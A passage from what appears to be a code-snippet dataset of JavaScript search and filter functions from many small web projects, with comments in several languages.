contarRegistro(Mangas)\n cargarManga4(Mangas);\n \n}","function filterEmployeesByName() {\n const $cards = $(\".card\");\n let $matched = 0;\n let $filterInput = $(\"#filter\").val();\n\n if ($filterInput !== \"\") {\n $(\".card\").each(function () {\n let n = $(this).children(\".info\").children(\".name\").text();\n let u = $(this).children(\".info\").children(\".username\").text();\n if (n.indexOf($filterInput) < 0 && u.indexOf($filterInput) < 0) {\n $(this).hide();\n } else {\n $matched += 1;\n $(this).show();\n }\n if ($matched === 0) {\n $('.main-footer span').text(\"No matched face...\");\n } else {\n $('.main-footer span').text(\"So many beautiful faces ...\");\n }\n });\n } else {\n //show all employees if input field is blank.\n $(\".card\").show();\n }\n}","function comprobarNombre(pokemon) {\n\n var valueFiltro = filtroInput.value.toLowerCase();\n\n var nombre = pokemon.name;\n\n contador = 0;\n\n return nombre.includes(valueFiltro);\n\n}","function filterBiblio() {\n let texto = document.querySelector(\"#textBuscar\");\n Mangas = JSON.parse(localStorage.getItem(\"biblioteca\"));\n\n Mangas = Mangas.filter(function (manga) {\n return manga.titulo.indexOf(texto.value.charAt(0).toUpperCase() + texto.value.toLowerCase().slice(1)) > -1;\n });\n texto.value=\"\"\n texto.focus()\n contarRegistro(Mangas)\n cargarManga4(Mangas);\n}","function filter() {\n let preFilter = [];\n let gender = selectG.value;\n let stat = selectS.value;\n let filteredChar = [];\n\n if (gender != \"Gender\") {\n filteredChar.push(\"gender\");\n if (filteredChar.length == 1) {\n limpiartodo();\n preFilter = filterGender(preFilter, gender, true);\n print(preFilter);\n }\n else {\n limpiartodo();\n preFilter = filterGender(preFilter, gender, false);\n print(preFilter);\n }\n }\n\n if (stat != \"Status\") {\n filteredChar.push(\"status\");\n if (filteredChar.length == 1) {\n limpiartodo();\n preFilter = filterStatus(preFilter, stat, true);\n print(preFilter);\n }\n else {\n limpiartodo();\n preFilter = filterStatus(preFilter, stat, false);\n print(preFilter);\n }\n }\n }","function filtros(){\n\n\tvar recibe=$(this).val();\n\tvar detector=$(this).attr('name');\t\n\t\n\t$('#supernumerario tr').show();\n\t\n\tif(recibe.length>0 && detector=='cedula'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#supernumerario tr td.cedula\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t\t\n\t}\n\tif(recibe.length>0 && detector=='nombre'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#supernumerario tr td.nombre\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t}\n\tif(recibe.length>0 && detector=='costo'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#supernumerario tr td.costo\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t}\n\tif(recibe.length>0 && detector=='cargo'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#supernumerario tr td.cargo\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t}\n\t\n\tif(recibe.length>0 && detector=='estado'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#supernumerario tr td.estado\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t}\n\treturn false;\n}","function search() {\n let input, filter, elements, a, txtValue;\n input = document.getElementById('search-bar');\n filter = input.value.toUpperCase();\n elements = document.getElementsByClassName('pokebox');\n \n for (let i = 0; i < elements.length; i++) {\n a = elements[i].getElementsByClassName('name')[0];\n txtValue = a.textContent || a.innerText;\n\n if (txtValue.toUpperCase().indexOf(filter) > -1) {\n elements[i].style.display = \"\";\n } else {\n elements[i].style.display = \"none\";\n }\n }\n}","resultadoDePesquisa(){\n \n var input, filter, ul, li, a, i;\n\n var entrei = \"nao\";\n \n input = document.getElementById('buscaPrincipal');\n filter = input.value.toUpperCase();\n ul = $(\".area-pesquisa-principal\");\n\n li = $(\".area-pesquisa-principal .caixa-branca\");\n\n for (i = 0; i < li.length; i++) {\n a = li[i];\n if (a.innerHTML.toUpperCase().indexOf(filter) > -1) {\n li[i].style.display = \"\";\n entrei = \"sim\";\n } else {\n li[i].style.display = \"none\";\n }\n }\n \n }","function loadFilteredFilmList(value) {\n axios.get('https://data.sfgov.org/resource/wwmu-gmzc.json').then(res => {\n var regex = new RegExp(value, \"gi\");\n var searchValue = res.data.filter(film => {\n return film.title.match(regex);\n });\n renderFilmList(searchValue);\n }).catch();\n}","function filtroUsuarios() {\r\n var input, filter, table, tr, td, td2, td3, i;\r\n input = document.getElementById(\"search\");\r\n filter = input.value.toUpperCase();\r\n table = document.getElementById(\"table\");\r\n tr = table.getElementsByTagName(\"tr\");\r\n for (i = 0; i < tr.length; i++) {\r\n td = tr[i].getElementsByTagName(\"td\")[0]; //ID\r\n td2 = tr[i].getElementsByTagName(\"td\")[1]; //Nome\r\n td3 = tr[i].getElementsByTagName(\"td\")[2]; //Permissões\r\n if (td || td2 || td3) {\r\n if (td.innerHTML.toUpperCase().indexOf(filter) > -1 || td2.innerHTML.toUpperCase().indexOf(filter) > -1 || td3.innerHTML.toUpperCase().indexOf(filter) > -1) {\r\n tr[i].style.display = \"\";\r\n } else {\r\n tr[i].style.display = \"none\";\r\n }\r\n }\r\n }\r\n}","function filter2Dos() {\n var filterInput = $(this).val().toLowerCase();\n $('.text-wrapper').each(function () {\n var cardText = $(this).text().toLowerCase();\n if (cardText.indexOf(filterInput) != -1) {\n $(this).parent().show();\n } else {\n $(this).parent().hide();\n }\n });\n}","function nameFilter(element, index, array) {\n var $item = $(\"#\" + element);\n\n if (visible.filterOn.length > 0 && visible.items[element].name.toLowerCase().indexOf(visible.filterOn.toLowerCase()) === -1) {\n return false;\n }\n return true;\n }","function filterItems(e){\n\t//convert text to lowercase\n\tvar text = e.target.value.toLowerCase();\n\t//get li's\n\tvar items = itemList.getElementsByTagName('li');\n\t//Convert HTML collection to an array\n\tArray.from(items).forEach(function(item){\n\t\tvar itemName = item.firstChild.textContent;\n\t\t// console.log(itemName); //check if we get the item names\n\t\tif(itemName.toLowerCase().indexOf(text) != -1){//check if the search is equal to the item(matching) -1 if not match\n\t\t\titem.style.display = 'block'; //shows the search item(s)\n\t\t} else{\n\t\t\titem.style.display = 'none'; //if not match, remove display\n\t\t}\n\n\t});\n}","function searchNameText(e) {\n\tcardsList.innerHTML = ''; // clear the container for the new filtered cards\n\tbtnLoadMore.style.display = 'none';\n\tlet keyword = e.target.value;\n\tlet arrByName = dataArr.filter(\n\t\t(card) => { \n\t\t\treturn( \n\t\t\t\tcard.name.toLowerCase().indexOf(keyword.toLowerCase()) > -1 ||\n\t\t\t\tcard.artist.toLowerCase().indexOf(keyword.toLowerCase()) > -1 ||\n\t\t\t\tcard.setName.toLowerCase().indexOf(keyword.toLowerCase()) > -1 \n\t\t\t\t)\n\t\t}\t\n\t);\n\trenderCardList(arrByName);\n\tconsole.log(arrByName);\n}","function finder() {\n filter = keyword.value.toUpperCase();\n var li = box_search.getElementsByTagName(\"li\");\n // Recorriendo elementos a filtrar mediante los li\n for (i = 0; i < li.length; i++) {\n var a = li[i].getElementsByTagName(\"a\")[0];\n textValue = a.textContent || a.innerText;\n\n // QUIERO QUE ME APAREZCAN LAS OPCIONES SI TEXTVALUE.STARTSWITH = FILTER \n\n if (textValue.toUpperCase().indexOf(filter) > -1) {\n li[i].style.display = \"flex\";\n box_search.style.display = \"flex\";\n if (keyword.value === \"\") {\n box_search.style.display = \"none\";\n }\n }\n else {\n li[i].style.display = \"none\";\n }\n\n }\n\n}","function filter(word) {\n let length = items.length\n let collection = []\n let hidden = 0\n for (let i = 0; i < length; i++) {\n if (items[i].value.toLowerCase().startsWith(word)) {\n $(items[i]).show()\n }\n else {\n $(items[i]).hide()\n hidden++\n }\n }\n\n //If all items are hidden, show the empty view\n if (hidden === length) {\n $('#empty').show()\n }\n else {\n $('#empty').hide()\n }\n}","function filter(word) {\n let length = items.length\n let collection = []\n let hidden = 0\n for (let i = 0; i < length; i++) {\n if (items[i].value.toLowerCase().startsWith(word)) {\n $(items[i]).show()\n }\n else {\n $(items[i]).hide()\n hidden++\n }\n }\n\n //If all items are hidden, show the empty view\n if (hidden === length) {\n $('#empty').show()\n }\n else {\n $('#empty').hide()\n }\n}","function filtros2(){\n\t\n\t\n\tvar recibe=$(this).val();\n\tvar detector=$(this).attr('name');\t\n\t\n\t$('#externos tr').show();\n\t\n\tif(recibe.length>0 && detector=='cedula'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#externos tr td.cedula\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t\t\n\t}\n\tif(recibe.length>0 && detector=='nombre'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#externos tr td.nombre\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t}\n\tif(recibe.length>0 && detector=='costo'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#externos tr td.costo\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t}\n\tif(recibe.length>0 && detector=='cargo'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#externos tr td.cargo\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t}\n\t\n\t\n\treturn false;\n}","function filterByName(element)\r\n{\r\n _upObject.filterByName(element.value, \"name\");\r\n}","function filtro(categoria) {\n setCat(categoria)\n }","function filterByName(searchForName, personList) {\n searchForName = searchForName.toLowerCase();\n return personList.filter((person) => {\n console.log(person)\n // Only needs to check if letters typed so far are included in name, not equal to name. \n return person.name.toLowerCase().includes(searchForName);\n });\n}","function filterData(tex) {\n const tempRests = rests.filter((itm) => itm.name.toLowerCase().includes(tex.toLowerCase()));\n setFilteredRests(tempRests);\n }","_filter(value) {\n //convert text to lower case\n const filterValue = value.toLowerCase();\n //get matching products\n return this.products.filter(option => option.toLowerCase().includes(filterValue));\n }","function filterName(){\n\t// Set filters to localstorage\n\tvar formName = $(\"#searchTitle\").val();\n\tif(formName == \"\"){\n\t\tfilterResults();\n\t}\n\telse{\n\t\tsearchResults(formName, \"600\", \"2800\");\n\t}\n}","function nameFilterEvent() {\n var input, filter, ul, li, a, i, txtValue;\n input = document.getElementById(\"filterInputName\");\n filter = input.value.toUpperCase();\n\n ul = document.getElementsByClassName(\"eventListTable\");\n li = ul[0].getElementsByTagName(\"li\");\n \n for (i = 0; i < li.length; i++) {\n a = li[i].getElementsByTagName(\"h1\")[0];\n txtValue = a.textContent || a.innerText;\n if (txtValue.toUpperCase().indexOf(filter) > -1) {\n li[i].style.display = \"\";\n } else {\n li[i].style.display = \"none\";\n }\n }\n}","function filtroProdutos() {\r\n var input, filter, table, tr, td, td2, td3, i;\r\n input = document.getElementById(\"search\");\r\n filter = input.value.toUpperCase();\r\n table = document.getElementById(\"table\");\r\n tr = table.getElementsByTagName(\"tr\");\r\n for (i = 0; i < tr.length; i++) {\r\n td = tr[i].getElementsByTagName(\"td\")[0]; //ID\r\n td2 = tr[i].getElementsByTagName(\"td\")[1]; //Descrição\r\n td3 = tr[i].getElementsByTagName(\"td\")[3]; //Código de barras\r\n if (td || td2 || td3) {\r\n if (td.innerHTML.toUpperCase().indexOf(filter) > -1 || td2.innerHTML.toUpperCase().indexOf(filter) > -1 || td3.innerHTML.toUpperCase().indexOf(filter) > -1) {\r\n tr[i].style.display = \"\";\r\n } else {\r\n tr[i].style.display = \"none\";\r\n }\r\n }\r\n }\r\n}","filteravanzado(event) {\n var text = event.target.value\n console.log(text)\n const data = this.state.listaBackup2\n const newData = data.filter(function (item) {\n\n const itemDataTitle = item.titulo.toUpperCase()\n const itemDataSubt = item.subtitulo.toUpperCase()\n const campo = itemDataTitle+\" \"+itemDataSubt\n const textData = text.toUpperCase()\n return campo.indexOf(textData) > -1\n })\n this.setState({\n listaAviso2: newData,\n textBuscar2: text,\n })\n }","findItem(query) {\n if (query === '') {\n return this.dataSearch.slice(0, 5);\n }\n const regex = new RegExp(`${query.trim()}`, 'i');\n return this.dataSearch.filter(film => film.name.search(regex) >= 0);\n }","function filter(kataKunci) {\n var filteredItems = []\n for (var j = 0; j < items.length; j++) {\n var item = items[j];\n var namaItem = item[1]\n var isMatched = namaItem.toLowerCase().includes(kataKunci.toLowerCase())\n\n if(isMatched == true) {\n filteredItems.push(item)\n }\n }\n return filteredItems\n}","function filterTasks() {\n let result = filter.value.toLowerCase()\n document.querySelectorAll(\".collection-item\").forEach(function (item) { //NodeList\n if (item.innerText.toLowerCase().includes(result)) {\n item.style.display = \"block\"\n } else {\n item.style.display = \"none\"\n }\n })\n /*\n Array.from(taskList.children).forEach(function(item){\n item.style.display = (item.textContent.toLowerCase().includes(e.target.value.toLowerCase())? \"block\" : \"none\")\n })\n */\n}","function filter(word) {\n let length = items.length\n let collection = []\n let hidden = 0\n for (let i = 0; i < length; i++) {\n if (items[i].value.toLowerCase().startsWith(word)) {\n $(items[i]).css({display: 'block'})\n }\n else {\n $(items[i]).css({display: 'none'})\n hidden++\n }\n }\n\n //If all items are hidden, show the empty view\n if (hidden === length) {\n $('#empty').show()\n }\n else {\n $('#empty').hide()\n }\n}","function filtrarProductosXEtiqueta() {\n let textoIngresado = $(\"#txtFiltroProductos\").val();\n textoIngresado = textoIngresado.toLowerCase();\n let arrayFiltrados = { data: Array(), error: \"\" };\n for (let i = 0; i < productos.length; i++) {\n let unProd = productos[i];\n let unaEtiqueta = unProd.etiquetas;\n let x = 0;\n let encontrado = false;\n while (!encontrado && x < unaEtiqueta.length) {\n let etiquetaX = unaEtiqueta[x];\n if (etiquetaX.includes(textoIngresado)) {\n arrayFiltrados.data.push(unProd);\n encontrado = true;\n }\n x++;\n }\n }\n crearListadoProductos(arrayFiltrados);\n}","function sexoSeleccionado(){\n console.trace('sexoSeleccionado');\n let sexo = document.getElementById(\"selector\").value;\n console.debug(sexo);\n if(sexo == 't'){\n pintarLista( personas );\n }else{\n const personasFiltradas = personas.filter( el => el.sexo == sexo) ;\n pintarLista( personasFiltradas );\n \n \n }//sexoSeleccionado\n limpiarSelectores('sexoselec');\n \n}","function filter(films, margins) {\n\tif (margins[0]==10&&margins[1]==100) {\n\t}else{\n\t\titems.innerHTML=\"\";\n\t\tvar searchedFilms = [];\n\t\tvar filmRating;\n\t\tfor (var i=0; iGenre: \" + films[i].genre + defLa[4] + films[i].rating + defLa[5];\n\t\t\tfilmRating = films[i].rating.replace(\".\", \"\");\n\t\t\tfilmRating = filmRating.replace(\".\", \"\");\n\t\t\tif (filmRating>margins[0]&&filmRating l.titre.includes(searchFilter)||l.auteur.nom.includes(searchFilter)||l.auteur.prenom.includes(searchFilter));\n\t}","filteredFruits(){\n return this.fruits.filter((element)=> {\n return element.match(this.filterInputText)\n })\n }","function filterGenres() {\r\n var genderMovieSelect = $(\"#genders-movie select\").val()\r\n if (genderMovieSelect != \"all\") {\r\n $(\"#movie .template\").each(function() {\r\n var gid = $(this).attr(\"data-generi\").split(',');\r\n if (gid.includes(genderMovieSelect)) $(this).show()\r\n else $(this).hide()\r\n });\r\n } else {\r\n $(\"#movie .template\").show()\r\n }\r\n var genderTVSelect = $(\"#genders-tv select\").val()\r\n if (genderTVSelect != \"all\") {\r\n $(\"#tvshow .template\").each(function() {\r\n var gid = $(this).attr(\"data-generi\").split(',');\r\n if (gid.includes(genderMovieSelect)) $(this).show()\r\n else $(this).hide()\r\n });\r\n } else {\r\n $(\"#tvshow .template\").show()\r\n }\r\n }","function filterFunction() {\n var input, filter, ul, li, a, i;\n input = document.getElementById(\"mySearches\");\n filter = input.value.toUpperCase();\n div = document.getElementById(\"mySearch\");\n a = div.getElementsByTagName(\"a\");\n for (i = 0; i < a.length; i++) {\n txtValue = a[i].textContent || a[i].innerText;\n if (txtValue.toUpperCase().indexOf(filter) > -1) {\n a[i].style.display = \"\";\n } else {\n a[i].style.display = \"none\";\n }\n }\n}","function filtros3(){\n\t\n\t\n\tvar recibe=$(this).val();\t\n\tvar detector=$(this).attr('name');\t\n\t\n\t$('#admin tr').show();\n\t\n\tif(recibe.length>0 && detector=='nombre'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#admin tr td.nombre\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t\t\n\t}\n\tif(recibe.length>0 && detector=='area'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#admin tr td.area\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t}\n\tif(recibe.length>0 && detector=='super'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#admin tr td.super\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t}\n\tif(recibe.length>0 && detector=='baja'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#admin tr td.baja\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t}\n\tif(recibe.length>0 && detector=='inicio'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#admin tr td.inicio\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t}\n\tif(recibe.length>0 && detector=='fin'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#admin tr td.fin\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t}\n\tif(recibe.length>0 && detector=='jefe'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#admin tr td.jefe\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t}\n\t\n\t\n\treturn false;\n}","function displayFilterValues(type, name) {\n $(\"#filterType\").text(type);\n\n //to ensure that the name is not too long\n const maxNameLength = 25;\n if (name.length > maxNameLength) {\n const nameArr = name.split(' ');\n name = '';\n for (let count = 0; count < nameArr.length; count++) {\n if ((name + nameArr[count]).length > maxNameLength) break;\n name += ' ' + nameArr[count];\n }\n name = name.substring(1);\n }\n\n $(\"#filterName\").text(name);\n}","function filterNames () {\n\n // Declare variable to hold value of filtered names\n let filteredNames;\n\n // If all...\n if (isAllShowing===true) {\n filteredNames = myNames.map((name) => {\n name.is_visible=true\n return name\n });\n setMyNames(filteredNames);\n }\n\n // If first...\n else if (isFirstShowing===true) {\n filteredNames = myNames.map((name) => {\n if (name.type==='first') {\n name.is_visible=true\n return name\n }\n else {\n name.is_visible=false\n return name;\n }\n });\n setMyNames(filteredNames);\n }\n\n // If middle...\n else if (isMiddleShowing===true) {\n filteredNames = myNames.map((name) => {\n if (name.type==='middle') {\n name.is_visible=true\n return name\n }\n else {\n name.is_visible=false\n return name;\n }\n });\n setMyNames(filteredNames);\n }\n\n // If full...(implied as all other types are specified in above conditionals)\n else {\n filteredNames = myNames.map((name) => {\n if (name.type==='full') {\n name.is_visible=true\n return name\n }\n else {\n name.is_visible=false\n return name;\n }\n });\n setMyNames(filteredNames);\n }\n }","selectFilterFacilidade(facilidades){\n\n //to open the DropDown\n this.getDropDownBoxFacilidades().click();\n\n //Search by the passed facilidades and click in checkBoxes\n facilidades.forEach((item) => {\n this.getCheckboxesFacilidades().contains(item).click();\n });\n }","function filtra(event){\n\t\n\tconst searchString=event.currentTarget.value.toLowerCase();\n\tconst trovati = document.querySelectorAll('.cercato');\n\tconst corpo = document.querySelector('body');\n\tconst primaSezione = document.querySelector('section');\n\tconst oggetti = document.querySelectorAll('.oggetto');\n\t\n\tconst sezFiltrati = document.createElement('div');\n\tsezFiltrati.classList.add('filtrati');\n\tcorpo.insertBefore(sezFiltrati, primaSezione);\n\t\t\n\t\tfor(let obj of oggetti){\n\t\t\t\n\t\t\t\n\t\t\tif(obj.childNodes[4].innerText.toLowerCase().includes(searchString)){\n\n\t\t\t\t\n\t\t\t\tconst oggetto1 = document.createElement('div'); \n\t\t\t\toggetto1.classList.add('cercato');\n\t\t\t\tsezFiltrati.appendChild(oggetto1);\n\t\t\t\t\n\t\t\t\tconst titolo = document.createElement('h2'); \n\t\t\t\ttitolo.innerText = obj.childNodes[1].innerText;\n\t\t\t\toggetto1.appendChild(titolo);\n\t\t\t\t\n\t\t\t\tconst immagine1 = document.createElement('img');\n\t\t\t\timmagine1.src = obj.childNodes[2].src;\n\t\t\t\toggetto1.appendChild(immagine1);\n\t\t\t\t\n\t\t\t\tconst codice1 = document.createElement('h3');\n\t\t\t\tcodice1.textContent = obj.childNodes[3].textContent;\n\t\t\t\toggetto1.appendChild(codice1);\n\t\t\n\t\t\t\tconst didascalia1 = document.createElement('article');\n\t\t\t\t\n\t\t\t\tdidascalia1.textContent = obj.childNodes[4].textContent;\n\t\t\t\toggetto1.appendChild(didascalia1);\n\t\t\t\t\n\t\t\t\tconst filtraggio = document.querySelectorAll('.filtrati');\t\n//\t\t\t\tconsole.log(filtraggio);\n\t\t\t\tlet conta = 0;\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\tfor(let item of filtraggio){\t\t\t\t\t\t\t\t\n\t\t\t\t\tconta++;\n//\t\t\t\t\tconsole.log(conta);\n\t\t\t\t}\n\t\t\t\tif(conta > 1){\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\tfor(let item of filtraggio){\n\t\t\t\t\t\titem.remove();\n\t\t\t\t\t\tconta--;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(searchString == ''){\n\t\t\tconst filtraggio = document.querySelectorAll('.filtrati');\n//\t\t\tconsole.log('Stringa vuota');\n\t\t\tfor(let item of filtraggio){\n\t\t\t\t\n\t\t\t\t\t\titem.remove();\n\t\t\t}\n\t\t}\n}","function filtro(arreglo, criterios,signo) { \n return arreglo.filter(function(obj) {return Object.keys(criterios).every(function(c) { //retorna los objetos que no cumplan los criterios si signo es true\n if (signo) //retorna los objetos que cumplen los criterios si signo es false\n return obj[c] != criterios[c]; // ejmplo de uso (arregloObjetos,{atributo1:a,atributo2:b},true)\n else \n return obj[c] == criterios[c]; \n }); \n }); \n }","function getCarsByName(name, count = 5) {\n return data\n .filter((car) =>\n car.Name.toLocaleLowerCase().startsWith(name ? name.toLowerCase() : name)\n )\n .slice(0, count);\n}","function queryUserName(name){\n var results = users.filter(function(o){\n if(o.name.toLowerCase().indexOf(name.toLowerCase()) > - 1){\n return o;\n }\n });\n showUserResults(results);\n}","function searchAuthName() {\n let input, filter, table, tr, td, i;\n input = document.getElementById(\"searchAName\");\n filter = input.value.toUpperCase();\n table = document.getElementById('authorsTable');\n tr = table.getElementsByTagName(\"tr\");\n\n // Loop through all list items, and hide those who don't match the search query\n for (i = 0; i < tr.length; i++) {\n td = tr[i].getElementsByTagName('td')[1];\n if (td) {\n if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {\n tr[i].style.display = \"\";\n } else {\n tr[i].style.display = \"none\";\n };\n };\n };\n }","function filter(){\n\n\tvar fifilter = $('#filter');\n\n\tvar wadahFilter = fifilter.val().toLowerCase();\n\n\tvar buah = $('.buah');\n\t\tfor (var a = 0; a < buah.length; a++) {\n\n\t\t\tvar wadahLi = $(buah[a]).text().toLowerCase();\n\t\t\t\n\t\t\tif(wadahLi.indexOf(wadahFilter) >= 0){\n\t\t\t\t\t$(buah[a]).slideDown();\n\t\t\t}else{\n\t\t\t\t\t$(buah[a]).slideUp();\n\t\t\t}\n\t\t}\n\n\t// buah.each(function(){\n\t// \tvar bubuah = $(this);\n\t// \tvar namaBuah = bubuah.text().toLowerCase();\n\n\t// \tif(namaBuah.indexOf(wadahFilter) >= 0 ){\n\t// \t\t$(this).slideDown();\n\t// \t}else{\n\t// \t\t$(this).slideUp();\n\t// \t}\n\t// });\n\t\n\n}","filterFunc (searchExpression, value) {\n const itemValue = value.name\n\n return (!searchExpression || !itemValue)\n ? false\n : itemValue.toUpperCase().indexOf(searchExpression.toUpperCase()) !== -1\n }","function search() {\n let input, filter, li, a, i, txtValue;\n input = document.querySelector(\".search\");\n filter = input.value.toUpperCase();\n li = document.getElementsByClassName(\"readthis\");\n for (i = 0; i < li.length; i++) {\n a = li[i].getElementsByClassName(\"studentdetails\")[0];\n txtValue = a.textContent || a.innerText;\n if (txtValue.toUpperCase().indexOf(filter) > -1) {\n li[i].style.display = \"\";\n } else {\n li[i].style.display = \"none\";\n }\n }\n}","function filterUser(value) {\n const filterIndex = select.selectedIndex\n let filter = select.options[select.selectedIndex].text\n if (value.length >= 3) {\n filteredUsers = users.filter((user) => {\n if (user[filter].toLowerCase().includes(value.toLowerCase())) {\n return user[filter]\n }\n })\n createCards(filteredUsers)\n } else if (value.length === 0) {\n createCards(users)\n }\n\n}","function filterByGame() {\n clearSearchbar();\n const chosenGame = this.value;\n const allGameCategories = Array.from(document.querySelectorAll(\".game-name\"));\n allGameCategories.forEach(gameName => {\n if (gameName.textContent !== chosenGame) {\n gameName.parentElement.parentElement.parentElement.classList.add(\"hidden\");\n }\n else(gameName.parentElement.parentElement.parentElement.classList.remove(\"hidden\"));\n });\n checkAllTermsHidden();\n}","function filterTasks(e){\n const text=e.target.value.toLowerCase();\n //We used for each as the query selector all returns nodelist\n document.querySelectorAll('.collection-item').forEach(function(task)\n {\n const item=task.firstChild.textContent;\n if(item.toLowerCase().indexOf(text)!=-1)\n {\n task.style.display='block';\n\n }\n else{\n task.style.display='none';\n }\n });\n}","function textFilter() {\n var filterValue, input, ul, li, i;\n input = document.querySelector(\"#filterCompany\");\n filterValue = input.value.toUpperCase();\n ul = document.querySelector(\"#listOfCompanies\")\n li = document.querySelectorAll(\"#listOfCompanies li\");\n\n for(i=0; i < li.length; i++) {\n var a = li[i];\n if(a.innerHTML.toUpperCase().indexOf(filterValue) > -1) {\n li[i].style.display = \"\";\n }\n else {\n li[i].style.display = \"none\";\n }\n }\n}","function searchText(value) {\r\n const card = document.querySelectorAll('.card');\r\n for (let i = 0; i < card.length; i++) {\r\n const userName = card[i].querySelector('.card-name').textContent\r\n if (userName.indexOf(value) > -1) {\r\n card[i].style.display = \"\";\r\n } else {\r\n card[i].style.display = \"none\";\r\n\r\n }\r\n }\r\n}","function filtrarAuto() {\r\n // Funcion de alto nivel. Una funcion que toma a otra funcion.\r\n const resultado = autos.filter(filtrarMarca).filter(filtrarYear).filter(filtrarMinimo).filter(filtrarMaximo).filter(filtrarPuertas).filter(filtrarTransmision).filter(filtrarColor);\r\n // console.log(resultado);\r\n if (resultado.length)\r\n mostrarAutos(resultado);\r\n else\r\n noHayResultados();\r\n}","function createFilterFor(query) {\n\n return function filterFn(proyecto) {\n return (proyecto.titulo.indexOf(query) === 0);\n };\n }","function filterByName(val){\n return val.speaker == this;\n }","function SearchByName(){\n if(inputSearch.value !== \"\"){\n setTimeout(responsiveVoice.speak(inputSearch.value),0);\n resultHotel= [];\n result = hotels.filter((hotel) =>{\n if( hotel.name.toLocaleLowerCase().indexOf(inputSearch.value.toLocaleLowerCase()) > -1){\n return hotel;\n }\n })\n inputSearch.value=\"\";\n resultHotel = result;\n display(result);\n }else{\n alerts(\"Add your Search\",3000);\n }\n range();\n filterByPrice()\n}","filteredBirds() {\n return vm.birds.filter(\n (bird) => {\n let filterBirdResult = true\n if (this.filterName !== \"\") {\n filterBirdResult = bird.name.includes(vm.filterName)\n\n }\n return filterBirdResult\n\n }\n )\n\n }","function filterProjectsBy(evt) {\n var category = evt.target.value;\n $('.project-filterable').hide();\n if (category) {\n $('.' + category).show();\n } else {\n $('.project-filterable').show();\n }\n}","function filterTasks(e){\n console.log(\"Task filter...\")\n var searchFilter, listItem, txtValue;\n searchFilter = filter.value.toUpperCase();\n listItem = document.querySelectorAll('.collection-item');\n //looping through the list items, and hiding unmatching results\n listItem.forEach(function(element){\n txtValue = element.textContent || element.innerText;\n if(txtValue.toUpperCase().indexOf(searchFilter) > -1){\n element.style.display = \"\";\n }else{\n element.style.display = \"none\";\n }\n });\n}","filter(event) {\n var text = event.target.value\n console.log(text)\n const data = this.state.listaBackup\n const newData = data.filter(function (item) {\n const itemData = item.titulo.toUpperCase()\n const textData = text.toUpperCase()\n return itemData.indexOf(textData) > -1\n })\n this.setState({\n listaAviso: newData,\n textBuscar: text,\n })\n }","function search() {\n const text = this.value;\n if (text === '') {\n rows.forEach(row => row.style.display = null);\n return;\n }\n const length = names.length;\n const regex = new RegExp(text, 'gi');\n for (let i = 0; i < length; i++) {\n if (names[i].match(regex)) rows[i].style.display = null;\n else rows[i].style.display = 'none';\n }\n}","function createFilterFor(query) {\n\n return function filterFn(fondeo) {\n return (fondeo.titulo.indexOf(query) === 0);\n };\n }","filterSuggest(results, search) {\n const filter = results.filter( filter => filter.calle.indexOf(search) !== -1 );\n\n // Mostrar pines del Filtro\n this.showPins(filter);\n }","function filterUl(value) {\n var list = $(\"#drag-list-container li\").hide()\n .filter(function () {\n var item = $(this).text();\n var padrao = new RegExp(value, \"i\");\n return padrao.test(item);\n }).closest(\"li\").show();\n}","filteredBirds() {\n return this.birds.filter(\n (bird) => {\n let filterBirdResult = true\n if (this.filterName !== \"\") {\n filterBirdResult = bird.name.includes(this.filterName)\n\n }\n return filterBirdResult\n\n }\n )\n\n }","function searchName(){\n\n const searchValue = 